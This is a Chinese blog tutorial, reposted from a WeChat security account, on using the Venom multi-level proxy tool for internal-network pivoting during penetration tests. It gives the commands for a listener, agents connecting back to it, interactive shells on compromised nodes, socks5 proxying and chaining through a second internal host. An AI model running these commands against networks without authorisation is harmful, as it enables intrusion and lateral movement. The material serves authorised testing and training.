使用Venom实现多层内网环境的socks5代理

admin 2022年4月23日09:07:07评论198 views字数 813阅读2分42秒阅读模式

一、Venom简介:

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理,渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。


特性:

l可视化网络拓扑

l多级socks5代理

l多级端口转发

l端口复用 (apache/mysql/...)

lssh隧道

l交互式shell

l文件的上传和下载

l节点间通信加密

l支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips)




二、Venom使用实验:

help(所有支持的功能):

使用Venom实现多层内网环境的socks5代理



①单层网络环境情况:

1、服务端开启监听:

./admin_linux_x64 -lport 888

使用Venom实现多层内网环境的socks5代理



2、客户端连接:

agent.exe -rhost 192.168.136.144 -rport 888

使用Venom实现多层内网环境的socks5代理



3、连接成功就会多出一个node

goto 1

即可进入到节点已连接的节点:

使用Venom实现多层内网环境的socks5代理



4、一些内置的功能:

交互式shell:

shell

使用Venom实现多层内网环境的socks5代理


socks代理:

socks 1080

使用Venom实现多层内网环境的socks5代理

然后配置服务端ip:1080即可使用socks代理



还有一些其他的功能,看help命令即可,操作也是十分简单的,就不演示了




②多层网络环境:

工具支持以节点为跳板,构建多级代理

网络环境:已经拿到A主机的node,内网中存在B主机,不能出网,只能连接A主机

1、在A主机监听777端口

Listen 777

使用Venom实现多层内网环境的socks5代理



2、B主机连接A监听的777端口

agent.exe -rhost 192.168.137 -rport 777

使用Venom实现多层内网环境的socks5代理



可以看到多出了个node2

show

使用Venom实现多层内网环境的socks5代理


操作作节点2:

goto 2

使用Venom实现多层内网环境的socks5代理


还有更复杂的网络环境也是类似操作,在能被目标连接的node中监听端口,然后再连接node监听的端口即可完成多层网络代理,并且一台机器的node可以监听多个不同的端口





☆ END ☆

点个赞和在看吧,欢迎转发!

使用Venom实现多层内网环境的socks5代理




本文始发于微信公众号(哈拉少安全小队):使用Venom实现多层内网环境的socks5代理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日09:07:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用Venom实现多层内网环境的socks5代理http://cn-sec.com/archives/541071.html

发表评论

匿名网友 填写信息